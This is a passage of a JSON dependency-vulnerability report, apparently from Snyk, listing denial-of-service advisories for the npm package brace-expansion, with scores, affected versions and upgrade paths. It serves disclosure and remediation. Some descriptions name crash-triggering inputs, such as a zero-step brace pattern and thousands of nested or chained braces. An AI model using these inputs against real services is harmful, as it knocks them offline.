"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
